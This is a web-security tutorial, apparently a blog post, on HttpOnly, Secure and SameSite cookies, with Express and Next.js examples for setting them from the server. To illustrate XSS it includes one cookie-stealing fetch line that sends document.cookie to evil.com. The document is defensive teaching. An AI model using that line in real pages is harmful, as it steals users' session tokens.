🍪 Understanding HttpOnly Cookies

HttpOnly cookies are a type of browser cookie that cannot be accessed via JavaScript.

They are designed to protect sensitive data — especially authentication tokens — from attacks like Cross-Site Scripting (XSS).

🔍 What Does HttpOnly Mean?

When you set the HttpOnly flag on a cookie, the browser stores it but never exposes it to document.cookie or JavaScript APIs.

That means:

console.log(document.cookie); // ❌ You will NOT see HttpOnly cookies here. 

The cookie still goes to the server automatically with every HTTP request to the same origin.

⚙️ How Browsers Enforce It

Browsers handle HttpOnly cookies internally:

1. The server sets a cookie with Set-Cookie header.
2. The browser stores it securely.
3. On every request to the same domain/path, the browser attaches the cookie in the Cookie header.
4. JavaScript cannot read or modify it.

✅ This prevents attackers from stealing session tokens via injected scripts.

🚧 Why It's Important

Without HttpOnly, an attacker who injects JavaScript (via XSS) could do:

fetch('https://evil.com?cookie=' + document.cookie); 

This would expose your session token.

With HttpOnly, that attack fails.

💡 Secure + HttpOnly = Best Practice

You should always combine:

• HttpOnly → hides cookie from JavaScript
• Secure → only send over HTTPS
• SameSite → restricts cross-site sending (helps prevent CSRF)

Example header:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict 

🧱 Example: Express Backend

import express from "express"; import cookieParser from "cookie-parser"; const app = express(); app.use(cookieParser()); app.post("/login", (req, res) => { const token = "user_jwt_token_here"; res.cookie("token", token, { httpOnly: true, secure: true, sameSite: "strict", }); res.send("Logged in!"); }); app.get("/profile", (req, res) => { // You can access it on server: const token = req.cookies.token; res.json({ message: "Token exists?", token: !!token }); }); app.listen(3001, () => console.log("✅ Express running on port 3001")); 

⚛️ Example: Next.js API Route

// pages/api/login.ts import type { NextApiRequest, NextApiResponse } from "next"; import { serialize } from "cookie"; export default function handler(req: NextApiRequest, res: NextApiResponse) { const token = "jwt_token_here"; res.setHeader( "Set-Cookie", serialize("token", token, { httpOnly: true, secure: process.env.NODE_ENV === "production", sameSite: "strict", maxAge: 60 * 60 * 24 * 7, // 7 days path: "/", }) ); res.status(200).json({ success: true }); } 

Now your cookie is automatically sent with every request — but never visible to document.cookie.

🧠 Behind the Scenes

When you refresh the page:

• Browser checks stored cookies for matching domain/path.
• Attaches them automatically in the Cookie header.
• Server reads them and can validate session or JWT.

No need for localStorage or client-side access.

This reduces attack surface dramatically — because even if the client is compromised, tokens aren’t exposed to script access.

⚔️ Common Mistakes

❌ Setting cookies in client-side JS → breaks security

✅ Always set cookies via Set-Cookie header from server.

❌ Storing JWTs in localStorage

✅ Store them in HttpOnly cookies instead.

🔐 Summary

🚀 Key Takeaway

Store your auth tokens in HttpOnly cookies, not in localStorage.

They protect against XSS by design — one of the simplest and strongest web security patterns.

Originally published on: Bitlyst